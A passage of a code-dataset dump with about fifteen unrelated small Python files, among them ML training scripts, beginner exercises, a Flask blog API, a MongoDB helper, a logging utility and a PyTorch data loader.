optimizer='nadam',metrics=['accuracy'])\n\n############# model training ##############################################################################\nmodel.fit(x_train, y_train, batch_size=64, epochs=epochs, verbose=2,validation_split=0.2,shuffle=True,callbacks=[csv_logger,save_best_model,stop_immediately,stop_here_please])\nmodel.save('models/last/my_map_model_box_'+str(box_size)+'_maps_'+str(maps)+'_ratio_'+str(ratio)+'_last.h5')  \n \n############# model evaluation (training) ##############################################################################  \n\nprint(model.summary())\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n\n\n\n\n\n \n\n","sub_path":"DeepLearning/mapnet_four_binary_class_9.py","file_name":"mapnet_four_binary_class_9.py","file_ext":"py","file_size_in_byte":4429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"480480028","text":"\"\"\"\ndesafio #056\n\nDesenvolva um programa que leia o nome, idade e sexo de 4 pessoas. No final do programa, mostre:\n- A média de idade do grupo\n- Qual o nome do homem mais velho\n- Quantas mulheres tem menos de 20 anos.\n\n\"\"\"\nsomaidade = 0\nmaisvelho = 0\nnomevelho = ''\nqtd_mulher = 0\nfor p in range(1, 5):\n    print(' ------ {}ª PESSOA -----'.format(p))\n    nome = str(input('Nome: ')).strip()\n    idade = int(input('Idade: '))\n    sexo = str(input('Sexo [M/F]: ')).strip()\n    somaidade += idade\n    if sexo in 'mM':\n        if idade > maisvelho:\n            maisvelho = idade\n            nomevelho = nome\n    if sexo in 'fF':\n        if idade < 20:\n            qtd_mulher += 1\n\nmediaidade = somaidade / 4\nprint('A média de idade do grupo é de {} anos.'.format(mediaidade))\nprint('O nome do homem mais velho é {}'.format(nomevelho))\nprint('São {} mulheres com menos de 20 anos.'.format(qtd_mulher))\n","sub_path":"desafio #056.py","file_name":"desafio #056.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"140516187","text":"import csv\nimport random\n\ntraining = []\ntest = []\ndata = []\ndataFlag = []\n\nfor i in range(1, 11):\n    with open('data' + str(i) + '.csv') as csv_file:\n        data_csv_reader = csv.reader(csv_file, delimiter=',')\n        for row in data_csv_reader:\n            if row != []:\n                data.append(row)\n                dataFlag.append('False')\n\nwhile len(training) != int(len(data) * .75):\n    indexNum = random.randint(0, len(data) - 1)\n    if dataFlag[indexNum] == 'True':\n        continue\n    else:\n        training.append(data[indexNum])\n        dataFlag[indexNum] = 'True'\n\nfor x in range(len(data)):\n    if dataFlag[x] == 'False':\n        dataFlag[x] = 'True'\n        test.append(data[x])\n\nprint(len(data))\nprint(len(training))\nprint(len(test))\ntraining_revert = 0\ntraining_no_revert = 0\ntest_revert = 0\ntest_no_revert = 0\n\nfor train in range(len(training)):\n    if training[train][3] == 'False':\n        training_no_revert += 1\n    elif training[train][3] == 'True':\n        training_revert += 1\n\nfor t in range(len(test)):\n    if test[t][3] == 'False':\n        test_no_revert += 1\n    elif test[t][3] == 'True':\n        test_revert += 1\n\nprint(training_revert)\nprint(training_no_revert)\nprint(round(((training_revert / len(training)) * 100), 2))\nprint(round(((training_no_revert / len(training)) * 100), 2))\nprint(test_revert)\nprint(test_no_revert)\nprint(round(((test_revert / len(test)) * 100), 2))\nprint(round(((test_no_revert / len(test)) * 100), 2))\nprint(len(training))\nprint(len(test))\n\n\"\"\"\nwith open('datatotal.csv', mode='w') as file:\n    writer = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n    for i in range(len(data)):\n        writer.writerow(data[i])\n\nwith open('datatraining.csv', mode='w') as file:\n    writer = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n    for j in range(len(training)):\n        writer.writerow(training[j])\n\nwith open('datatest.csv', mode='w') as file:\n    writer = csv.writer(file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n    for k in range(len(test)):\n        writer.writerow(test[k])\n\"\"\"\n","sub_path":"Compile.py","file_name":"Compile.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"209858910","text":"# -*- coding: utf-8 -*-\nimport numpy\nimport pandas as pd\n\nfrom acquisition import quote_db\nfrom config.config import period_map\n# from util.macd import macd\n# from util.macd import ema\nfrom indicator import ema, macd\nfrom indicator.decorator import computed\n\n\ndef function(ema_, macd_):\n    if ema_ and macd_:\n        return 1\n\n    if not ema_ and not macd_:\n        return -1\n\n    return 0\n\n\ndef dynamical_system(quote, n=13):\n    if 'dlxt' in quote.columns:\n        # print('dynamical_system - dlxt already')\n        return quote\n\n    quote = ema.compute_ema(quote)\n    ema13 = quote['ema13']\n    # ema26 = ema(quote['close'], 26)\n\n    # print(ema13.iloc[-1])\n    # print(ema13.values[-1])\n    quote = macd.compute_macd(quote)\n    # histogram = pd.Series(macd(quote['close'])[2])\n    histogram = quote['macd_histogram']\n\n    ema13_shift = ema13.shift(periods=1)\n    dlxt_ema = ema13 > ema13_shift\n\n    quote_copy = quote.copy()\n    quote_copy.loc[:, 'dlxt_ema13'] = dlxt_ema.values\n\n    # quote_copy.loc[:, 'macd'] = histogram\n    histogram_shift = histogram.shift(periods=1)\n    dlxt_macd = histogram > histogram_shift\n    quote_copy.loc[:, 'dlxt_macd'] = dlxt_macd.values\n\n    # df.city.apply(lambda x: 1 if 'ing' in x else 0)\n    # quote_copy_copy = quote_copy.copy()\n    quote_copy.loc[:, 'dlxt'] = quote_copy.apply(lambda x: function(x.dlxt_ema13, x.dlxt_macd), axis=1)\n\n    # quote_copy.drop(['macd'], axis=1)\n\n    return quote_copy\n\n    # ema_ = ema13.iloc[-1] > ema13.iloc[-2]\n    # macd_ = histogram[-1] > histogram[-2]\n    # if ema_ and macd_:\n    #     return 1\n    #\n    # if not ema_ and not macd_:\n    #     return -1\n    #\n    # return 0\n\n\ndef compute_period(quote):\n    freq = quote.index.to_series().diff().min()\n    minutes = freq.value / 10 ** 9 / 60\n    if minutes == 5:\n        period = 'm5'\n    elif minutes == 30:\n        period = 'm30'\n    elif minutes == 1440:\n        period = 'day'\n    elif minutes > 1440:\n        period = 'week'\n    else:\n        period = 'm5'\n\n    return period\n\n\n@computed(column_name='dlxt')\ndef dynamical_system_dual_period(quote, n=13, period=None):\n    # 长中周期动力系统中，均不为红色，且至少一个为绿色，强力指数为负\n    # pandas.infer_freq(candle.data_origin.index)   # If not continuous pandas.infer_freq will return None.\n    if not period:\n        period = compute_period(quote)\n    period_type = period_map[period]['long_period']\n    period_type_reverse = period_map[period]['period']\n\n    # 长周期动力系统\n    quote_week = quote_db.get_price_info_df_db_week(quote, period_type)\n    # print(quote[-50:])\n    # print(quote_week[-50:])\n    quote_week = dynamical_system(quote_week)\n    # print(quote_week[-50:])\n    # quote_week.rename(columns={'dlxt': 'dlxt_long_period'}, inplace=True)\n    # quote_week.drop(['open', 'close'], axis=1, inplace=True)\n    # quote_week = quote_week[['dlxt']]\n    dlxt_long_period = quote_week.resample(period_type_reverse).last()\n    dlxt_long_period['dlxt'] = quote_week['dlxt'].resample(period_type_reverse).pad()\n    # print(dlxt_long_period[-50:])\n\n    # 补齐最后一天的数据\n    if period in ['m30', 'm5', 'm1']:\n        last_row_index = dlxt_long_period.index[-1]\n        pd_loss = quote[last_row_index:]\n        dlxt_long_period = dlxt_long_period.append(pd_loss, )\n\n        # dlxt_long_period = dlxt_long_period.unique()\n        # indexs = dlxt_long_period.index.drop_duplicates()\n        # dlxt_long_period = dlxt_long_period[dlxt_long_period.index.isin(indexs)]\n        # https://stackoverflow.com/questions/22918212/fastest-way-to-drop-duplicated-index-in-a-pandas-dataframe\n        # dlxt_long_period = dlxt_long_period.groupby(dlxt_long_period.index).first()\n        dlxt_long_period = dlxt_long_period[~dlxt_long_period.index.duplicated(keep='first')]\n\n        last_dlxt = dlxt_long_period.loc[last_row_index]['dlxt']\n        dlxt_long_period.loc[last_row_index:, 'dlxt'] = last_dlxt\n\n    dlxt_long_period = dlxt_long_period[dlxt_long_period.index.isin(quote.index)]\n\n     # 中周期动力系统\n    quote = dynamical_system(quote)\n    # print(quote[-50:])\n\n    dlxt_long_period_copy = dlxt_long_period.copy()\n    quote_copy = quote.copy()\n    quote_copy.loc[:, 'dlxt_long_period'] = dlxt_long_period_copy['dlxt'].loc[:]\n    quote_copy.loc[:, 'dlxt'] = quote['dlxt']\n\n    if numpy.isnan(quote_copy['dlxt_long_period'][-1]):\n        quote_copy['dlxt_long_period'].iat[-1] = quote_copy['dlxt_long_period'][-2]\n\n    # for debug\n    # print(quote_copy.iloc[-50:])\n\n    return quote_copy\n\n\ndef dynamical_system_green(quote):\n    quote = dynamical_system(quote)\n\n    return True if quote['dlxt'][-1] == 1 else False\n\n\ndef dynamical_system_red(quote):\n    quote = dynamical_system(quote)\n\n    return True if quote['dlxt'][-1] == -1 else False\n\n\ndef dynamical_system_blue(quote):\n    quote = dynamical_system(quote)\n\n    return True if quote['dlxt'][-1] == 0 else False\n","sub_path":"indicator/dynamical_system.py","file_name":"dynamical_system.py","file_ext":"py","file_size_in_byte":4912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"448901674","text":"from Queue import Queue\r\n\r\n\r\ndef binary_numbers(n):\r\n    q = Queue()\r\n\r\n    q.enqueue(1)\r\n\r\n    while n > 0:\r\n        n -= 1\r\n        num1 = q.dequeue()\r\n        print(num1)\r\n\r\n        num2 = num1\r\n\r\n        q.enqueue(str(num1)+'0')\r\n        q.enqueue(str(num2)+'1')\r\n\r\n\r\nbinary_numbers(10000)\r\n","sub_path":"3-binary-num/binary_nums.py","file_name":"binary_nums.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"4069091","text":"\nimport os\nimport sys\n\nfrom logbook import Logger, Processor, StreamHandler\nfrom logbook import DEBUG, INFO, WARNING, ERROR\n\n\nclass color:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[1m'\n    UNDERLINE = '\\033[4m'\n\n\ndef get_log_color(level):\n    color_by_level = {\n        DEBUG: color.ENDC,\n        INFO: color.OKGREEN,\n        WARNING: color.WARNING,\n        ERROR: color.FAIL,\n    }\n    return color_by_level[level]\n\n\ndef get_log_code(level):\n    code = {\n        'debug': DEBUG,\n        'info': INFO,\n        'warn': WARNING,\n        'warning': WARNING,\n        'error': ERROR,\n    }\n    return code[level]\n\n\nformatter = {\n    'screen': '' .join([\n        '{record.extra[level_color]}',\n        '{record.message}',\n        '{record.extra[clear_color]}',\n    ]),\n    'screen_detail': ''.join([\n        '{record.time:%Y-%m-%d %H:%M:%S}',\n        ' ',\n        '[',\n        '{record.extra[level_color]}',\n        '{record.level_name:<7}',\n        '{record.extra[clear_color]}',\n        ']',\n        ' ',\n        '({record.extra[basename]} --- {record.func_name}():{record.lineno})',\n        ' : ',\n        '{record.extra[level_color]}',\n        '{record.message}',\n        '{record.extra[clear_color]}',\n    ]),\n    'file': ''.join([\n        '{record.time:%Y-%m-%d %H:%M:%S}',\n        ' ',\n        '[{record.level_name:<7}]',\n        ' ',\n        '({record.extra[basename]} --- {record.func_name}():{record.lineno})',\n        ' : ',\n        '{record.message}',\n    ]),\n}\n\n\ndef inject_extra(record):\n    record.extra['basename'] = os.path.basename(record.filename)\n    record.extra['level_color'] = get_log_color(record.level)\n    record.extra['clear_color'] = color.ENDC\n\n\nlogger = Logger('root')\n\n# extra info\nprocessor = Processor(inject_extra)\nprocessor.push_application()\n\n# for screen log\nscreen_level = DEBUG\nstream_handler = StreamHandler(sys.stdout, level=screen_level, bubble=True)\nstream_handler.format_string = formatter['screen_detail']\nstream_handler.push_application()\n\n\ndef set_level(level):\n    level_list = ['debug', 'info', 'warning', 'error', 'warn']\n    if level not in level_list:\n        level_list.remove('warn')\n        logger.error(\"LogLevelError: '{}'. Select in {}\".format(\n            level,\n            level_list\n        ))\n        return\n    code = get_log_code(level)\n    stream_handler.level = code\n    print(color.white('Changed log level to {}'.format(level)))\n\n\ndef set_mode(mode):\n    mode_list = ['debug', 'normal']\n    if mode not in mode_list:\n        logger.error('ModeError: {}. Select in {}'.format(mode, mode_list))\n        return\n    if mode == 'debug':\n        stream_handler.format_string = formatter['screen_detail']\n        set_level('debug')\n    if mode == 'normal':\n        stream_handler.format_string = formatter['screen']\n        set_level('info')\n","sub_path":"dj/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"209055100","text":"#Implementation of greedy algorithm for interval partitioning. The goal of this algorithm is to fit the most classes j\n#in the minimoum amount of classrooms k without overlaping.\n\n#I'll implemente merge-sort algorithm to deal with the sorting neccesary for greedy algorithm.\ndef merge_sort(u):\n\t#Input condition, but also condition to break recursivity on spliting.\n\tif(len(u)==0 or len(u)==1):\n\t\treturn u\n\telse:\n\t\t#Split by middle, keep doing it on the right until it cannot be splited anymore (len 1) then do the same with the left side\n\t\t#until len 1. Then merge each small array until forming one with the size of the original one.\n\t\tmedian = len(u)/2\n\t\tx=merge_sort(u[:median])\n\t\ty=merge_sort(u[median:])\n\t\treturn merge(x,y)\n\ndef merge(x,y):\n\t#By removing top of x or y, we would \"move\" through the arrays, if len(x/y) = 0 it means that the array is empty and we\n\t#can just add the remaining part of the next other array.\n\tc=[] \n\twhile len(x)>0 and len(y)>0:\n\t\tif(x[0][1]<y[0][1]):\n\t\t\tc.append(x[0])\n\t\t\tx.remove(x[0])\n\t\telse:\n\t\t\tc.append(y[0])\n\t\t\ty.remove(y[0])\n\tif(len(x)==0):\n\t\tc+=y\n\telse:\n\t\tc+=x\n\treturn c\n#Dictionary with all the classes to be assigned.\ncourses = {\n\t'a': [9,10.5],\n\t'b': [9,12.5],\n\t'c': [9,10.5],\n\t'd': [11,12.5],\n\t'e': [11,14],\n\t'f': [13,14.5],\n\t'g': [13,14.5],\n\t'h': [14,16.5],\n\t'i': [15,16.5],\n\t'j': [15,16.5]\n}\n#Will contain list of classrooms with classes.\nb = []\n#Duple list.\ninput_array = []\n\ndef init_input_array():\n\tfor course in courses:\n\t\tinput_array.append((course[0],courses[course][0],courses[course][1]))\n\ndef interval_partitioning():\n\tsorted_courses = merge_sort(input_array)\n\tfor course in sorted_courses:\n\t\tif not b:\n\t\t\t\tb.append([course])\n\t\telse:\n\t\t\tfor classrooms in b:\n\t\t\t\tif classrooms[-1][2]<=course[1]:\n\t\t\t\t\tclassrooms.append(course)\n\t\t\t\t\tbreak\n\t\t\t\telif b.index(classrooms)==b.index(b[-1]):\n\t\t\t\t\tb.append([course])\n\t\t\t\t\tbreak\n\ndef main():\n\tinit_input_array()\n\tinterval_partitioning()\n\tprint('\\nList of classrooms')\n\tfor classroom in b:\n\t\tprint(classroom)\n\tprint(\"\\nTotal number of classrooms: {}\".format(len(b)))\n\nif __name__ == \"__main__\":\n\tmain()\n\n","sub_path":"Interval_Partitioning.py","file_name":"Interval_Partitioning.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"564492640","text":"# 0 counting number of images for multiple classes\n\nfrom pycocotools.coco import COCO\nimport numpy as np\nimport skimage.io as io\nimport os\n\ndataDir='./COCOdataset2017'\ndataType='val'\nannFile='{}/annotations/instances_{}.json'.format(dataDir,dataType)\n\n# initialize the COCO api for instance annotations\ncoco=COCO(annFile)\n\n# display COCO categories and supercategories\ncatIDs = coco.getCatIds()\ncats = coco.loadCats(catIDs)\n\n# arguments for filter classes\nclasses = ['person']\n\nimages = []\nif classes!=None:\n    # iterate for each individual class in the list\n    for className in classes:\n        # get all images containing given class\n        catIds = coco.getCatIds(catNms=className)\n        imgIds = coco.getImgIds(catIds=catIds)\n        images += coco.loadImgs(imgIds)\nelse:\n    imgIds = coco.getImgIds()\n    images = coco.loadImgs(imgIds)\n    \n# Now, filter out the repeated images    \nunique_images = []\nfor i in range(len(images)):\n    if images[i] not in unique_images:\n        unique_images.append(images[i])\n\ndataset_size = len(unique_images)\n\nprint(\"Number of images containing the filter classes:\", dataset_size)","sub_path":"coco_file_count.py","file_name":"coco_file_count.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"562848387","text":"# /src/views/PostView.py\nfrom flask import Blueprint, Response, g, json, request\n\nfrom ..models.PostModel import PostModel, PostSchema\nfrom ..shared.Authentication import Auth\n\npost_api = Blueprint('post_api', __name__)\npost_schema = PostSchema()\n\n\n@post_api.route('/', methods=['POST'])\n@Auth.auth_required\ndef create():\n    \"\"\"\n    Create Blogpost Function\n    \"\"\"\n    req_data = request.get_json()\n    req_data['owner_id'] = g.user.get('id')\n    data, error = post_schema.load(req_data)\n    if error:\n        return custom_response(error, 400)\n    post = PostModel(data)\n    post.save()\n    data = post_schema.dump(post)\n    return custom_response(data, 201)\n\n\n@post_api.route('/', methods=['GET'])\ndef get_all():\n    \"\"\"\n    Get All Blogposts\n    \"\"\"\n    posts = PostModel.get_all_blogposts()\n    data = post_schema.dump(posts, many=True)\n    return custom_response(data, 200)\n\n\n@post_api.route('/<int:blogpost_id>', methods=['GET'])\ndef get_one(blogpost_id):\n    \"\"\"\n    Get A Blogpost\n    \"\"\"\n    post = PostModel.get_one_blogpost(blogpost_id)\n    if not post:\n        return custom_response({'error': 'post not found'}, 404)\n    data = post_schema.dump(post)\n    return custom_response(data, 200)\n\n\n@post_api.route('/<int:blogpost_id>', methods=['PUT'])\n@Auth.auth_required\ndef update(blogpost_id):\n    \"\"\"\n    Update A Blogpost\n    \"\"\"\n    req_data = request.get_json()\n    post = PostModel.get_one_blogpost(blogpost_id)\n    if not post:\n        return custom_response({'error': 'post not found'}, 404)\n    data = post_schema.dump(post)\n    if data.get('owner_id') != g.user.get('id'):\n        return custom_response({'error': 'permission denied'}, 400)\n\n    data, error = post_schema.load(req_data, partial=True)\n    if error:\n        return custom_response(error, 400)\n    post.update(data)\n\n    data = post_schema.dump(post)\n    return custom_response(data, 200)\n\n\n@post_api.route('/<int:blogpost_id>', methods=['DELETE'])\n@Auth.auth_required\ndef delete(blogpost_id):\n    \"\"\"\n    Delete A Blogpost\n    \"\"\"\n    post = PostModel.get_one_blogpost(blogpost_id)\n    if not post:\n        return custom_response({'error': 'post not found'}, 404)\n    data = post_schema.dump(post).data\n    if data.get('owner_id') != g.user.get('id'):\n        return custom_response({'error': 'permission denied'}, 400)\n\n    post.delete()\n    return custom_response({'message': 'deleted'}, 204)\n\n\ndef custom_response(res, status_code):\n    \"\"\"\n    Custom Response Function\n    \"\"\"\n    return Response(\n        mimetype=\"application/json\",\n        response=json.dumps(res),\n        status=status_code\n    )\n","sub_path":"app/views/PostView.py","file_name":"PostView.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"37028660","text":"#  Testing the Char RNN from https://github.com/johnarevalo/blocks-char-rnn just so I can look at how blocks works\n\nimport sys\nsys.path.insert(0, '/pkgs/cudamat/')  #these are due to the fact that I have a very messed up python path\n#sys.path.insert(0, '/u/tang/bin/gpu_lock2.py')\nsys.path.insert(0, '/u/arvie/.local/lib/python2.7/site-packages')\n\nimport numpy as np\nimport theano\n\nfrom theano import tensor as T\nfrom blocks.graph import ComputationGraph\nfrom ClassificationLayers import BaselineModel\nfrom Utils.simple_GPU_lock import lock_GPU  # used for locking the GPU on the Toronto servers\n\nfrom Data_Stream.data_stream import char2code, get_stream_and_vocab_dict_baseline, lower\n\n\nif __name__ == \"__main__\":\n\n    gpu_board = lock_GPU()\n\n    do_test_1 = True\n    if do_test_1:\n\n        data_path = '/u/arvie/PHD/Neural_Language_Models/penn_tree_bank_data/train.txt'\n        data_path2 = '/u/arvie/PHD/Neural_Language_Models/penn_tree_bank_data/test.txt'\n\n        dataset_options = dict(dictionary=char2code, level=\"character\", preprocess=lower,\n                               bos_token=None, eos_token=None)\n        EOW_id = char2code[' ']\n        padding_token = EOW_id\n        print('EOW_ID = ' + str(EOW_id))\n        batch_size = 5\n\n        stream = get_stream_and_vocab_dict_baseline(data_path_list=[data_path, data_path2],\n                                                    dataset_options=dataset_options,\n                                                    max_sent_size = 13, max_subword_size = 10, debug_print=False,\n                                                    EOW_id=EOW_id, padding_token=EOW_id, batch_size=batch_size,\n                                                    data_dtype=np.dtype(np.uint16), mask_dtype=np.dtype(np.float32)) # these are important\n\n        print(stream.sources)\n        '''\n        Remember that your theano variables need to match the stream names\n        x = T.tensor3('features', dtype='uint16')\n        and dtypes need to match i.e. float32 and uint16\n        '''\n\n        print('Starting classification example 1 with real data')\n\n        x = T.tensor3('features', dtype='uint16')\n        x_mask = T.tensor3('features_mask', dtype='float32')\n        y = T.matrix('targets', dtype='uint16')\n        y_mask = T.matrix('targets_mask', dtype='float32')\n\n        # 6 words, 3 subwords, 5 batch, subword dim size is 4\n        dims = (10, 13, 5, 4)\n\n        config_dict = dict()\n        config_dict['batch_size'] = dims[2]\n        config_dict['num_subwords'] = dims[1]\n        config_dict['num_words'] = dims[0]\n        config_dict['subword_embedding_size'] = dims[3]\n        config_dict['input_vocab_size'] = 42\n        config_dict['output_vocab_size'] = 42\n        config_dict['subword_RNN_hidden_state_size'] = 6  # 2 more than subword_embedding_size for testing\n        config_dict['LM_RNN_hidden_state_size'] = 8  # 2 more than subword_RNN_hidden_state_size\n        config_dict['table_width'] = 0.08\n        config_dict['max_out_dim'] = 11  # 3 more than LM_RNN_hidden_state_size\n        config_dict['max_out_K'] = 3\n\n        baseline_model = BaselineModel(config_dict)\n        baseline_model.initialize()\n        y_hat_CE = baseline_model.cost(subword_id_input_=x, subword_id_input_mask_=x_mask, subword_id_target_=y, subword_id_target_mask_=y_mask)\n\n        cg = ComputationGraph(y_hat_CE)\n        # cost = cg.outputs[0]\n\n        f_cross_entropy = theano.function([x, x_mask, y, y_mask], [y_hat_CE])\n\n        print('Graph inputs')\n        print(cg.inputs)\n        print(cg.inputs)\n\n        num_times = 5\n        for data in stream.get_epoch_iterator(as_dict=True):\n            num_times -= 1\n            if num_times < 0:\n                break\n\n            types = [(v.name, data[v.name].dtype) for v in cg.inputs]\n            print(types)\n\n            # ordered_data = [data[v.name] for v in cg.inputs[::-1]]\n            ordered_data = [data[v.name] for v in cg.inputs[::-1]]\n            y_hat_CE = f_cross_entropy(*ordered_data)\n\n            print('y_hat_CE')\n            print(y_hat_CE)\n\n        print('DONE classification example 1 with real data\\n')\n\n\n","sub_path":"Simple_Subword_Model/Tests.py","file_name":"Tests.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"367499976","text":"#!/usr/bin/env python\nimport os, sys\n\ndef main():\n\n\tprint(\"This is a tuple with 5 values\")\n\tthisTuple = ('tuna', 'salad', 'burgers', 'fries', 'brains')\n\tfor tup in thisTuple:\n\t\tprint(tup)\n\n\tprint(\"try to change one of the values: \")\n\tthisTuple = ('brownie', 'face', 'nine', 'jams', 'petunias')\n\n\tfor tup in thisTuple:\n\t\tprint(tup)\t\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"concepts/tuples/tuple.py","file_name":"tuple.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"184605115","text":"from pymongo import MongoClient\nfrom config.config import MONGODB_CONFIG\nimport datetime\nimport traceback\n\nclient = MongoClient(MONGODB_CONFIG['host'], MONGODB_CONFIG['port'])\ndb = client[MONGODB_CONFIG['dbname']]\n\n\ndef insert(collection_name, data):\n    collection = db[collection_name]\n    data['date'] = datetime.datetime.now()\n    try:\n        collection.insert(data)\n    except Exception:\n        # duplicated docId\n        print('failed to insert document into mongo')\n        print(traceback.format_exc())\n\n\n# return list of dict\ndef find(collection_name, query, limit=1000):\n    collection = db[collection_name]\n    return collection.find(query).limit(limit)\n\n\ndef find_one(collection_name, query):\n    collection = db[collection_name]\n    return collection.find_one(query)\n\n\ndef update_one(collection_name, query, data):\n    collection = db[collection_name]\n    try:\n        collection.update_one(query, data)\n    except Exception:\n        print('failed to update document into mongo')\n        print(traceback.format_exc())\n\n\ndef close():\n    client.close()\n","sub_path":"collect/mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"222164706","text":"\n\n#calss header\nclass _RIDE():\n\tdef __init__(self,): \n\t\tself.name = \"RIDE\"\n\t\tself.definitions = [u'to sit on something such as a bicycle, motorbike, or horse and travel along on it controlling its movements: ', u'to ride a horse: ', u'to travel in a vehicle, such as a car, bus, or train: ', u'to try to control someone and force them to work: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_ride.py","file_name":"_ride.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"468164487","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2018-2021, earthobservations developers.\n# Distributed under the MIT License. See LICENSE for more info.\nimport pytest\n\nfrom wetterdienst.metadata.parameter import Parameter\nfrom wetterdienst.metadata.unit import OriginUnit, SIUnit\nfrom wetterdienst.provider.dwd.forecast.metadata.parameter import DwdMosmixParameter\nfrom wetterdienst.provider.dwd.forecast.metadata.unit import DwdMosmixUnit\nfrom wetterdienst.provider.dwd.observation.metadata.parameter import (\n    DwdObservationDatasetTree,\n    DwdObservationParameter,\n)\nfrom wetterdienst.provider.dwd.observation.metadata.unit import DwdObservationUnit\nfrom wetterdienst.provider.eccc.observation.metadata.dataset import (\n    EcccObservationParameter,\n)\nfrom wetterdienst.provider.eccc.observation.metadata.unit import EcccObservationUnit\n\nORIGIN_UNITS = [unit.value for unit in OriginUnit]\nSI_UNITS = [unit.value for unit in SIUnit]\n\n\n@pytest.mark.parametrize(\n    \"parameter_enum,is_ds_tree\",\n    (\n        (DwdObservationParameter, False),\n        (DwdObservationDatasetTree, True),\n        (DwdObservationUnit, True),\n        (DwdMosmixParameter, False),\n        (DwdMosmixUnit, False),\n        (EcccObservationParameter, False),\n        (EcccObservationUnit, False),\n    ),\n)\ndef test_parameter_names(parameter_enum, is_ds_tree):\n    \"\"\"Test parameter and dataset tree enums for consistent parameter naming following the\n    core Parameter enum. Due to equal structure units are also tested here\"\"\"\n    parameters = []\n\n    for res in parameter_enum:\n        if is_ds_tree:\n            for dataset in parameter_enum[res]:\n                for parameter in parameter_enum[res][dataset]:\n                    parameter_name = parameter.name\n                    if not parameter_name.startswith(\n                        \"QUALITY\"\n                    ) and not parameter_name.startswith(\"QN\"):\n                        if parameter_name not in Parameter._member_names_:\n                            parameters.append(parameter_name)\n        else:\n            for parameter in parameter_enum[res]:\n                parameter_name = parameter.name\n                if not parameter_name.startswith(\n                    \"QUALITY\"\n                ) and not parameter_name.startswith(\"QN\"):\n                    if parameter_name not in Parameter._member_names_:\n                        parameters.append(parameter_name)\n\n    assert not parameters\n","sub_path":"tests/core/scalar/test_parameter.py","file_name":"test_parameter.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"423597184","text":"import torch\r\nfrom torchvision import transforms\r\nfrom torch.utils.data import Dataset\r\nfrom skimage import io\r\nimport torchvision.transforms as transforms\r\nimport shutil\r\nimport os\r\n\r\n\r\n# custum dataset\r\nclass MyFaceSet(Dataset):\r\n    def __init__(self, data_path_list, classes, transform=None):\r\n        self.path_list = data_path_list\r\n        self.label = self.get_label(data_path_list)\r\n        self.transform = transform\r\n        self.classes = classes\r\n\r\n    def __len__(self):\r\n        return len(self.path_list)\r\n\r\n    def __getitem__(self, idx):\r\n        if torch.is_tensor(idx):\r\n            idx = idx.tolist()\r\n        image = io.imread(self.path_list[idx], as_gray=True)\r\n        if self.transform is not None:\r\n            image = self.transform(image)\r\n\r\n        return image, self.classes.index(self.label[idx])\r\n\r\n    def get_label(self, data_path_list):\r\n        label_list = []\r\n        for path in data_path_list:\r\n            label_list.append(path.split('/')[-2])\r\n \r\n        return label_list\r\n\r\n\r\n# data loader\r\ndef dataloader(DATA_PATH_TRAINING_LIST, DATA_PATH_TESTING_LIST) :\r\n    transform = transforms.Compose([transforms.ToTensor(),\r\n                                   #transforms.Grayscale(),\r\n                                   transforms.Resize((224,224)),\r\n                                   transforms.Normalize((0.5,), (0.5,))])\r\n\r\n    classes = ('angry','disgust','fear','happy','neutral','sad','surprise')\r\n    trainloader = torch.utils.data.DataLoader(MyFaceSet(DATA_PATH_TRAINING_LIST,\r\n                                                        classes,\r\n                                                        transform=transform),\r\n                                              batch_size=4,\r\n                                              shuffle=True)\r\n\r\n    testloader = torch.utils.data.DataLoader(MyFaceSet(DATA_PATH_TESTING_LIST,\r\n                                                       classes,\r\n                                                       transform=transform),\r\n                                             batch_size=4,\r\n                                             shuffle=False )\r\n\r\n    return trainloader, testloader\r\n\r\n\r\n# data split\r\ndef split_dataset_into_3(path_to_dataset, train_ratio, valid_ratio):\r\n    _, sub_dirs, _ 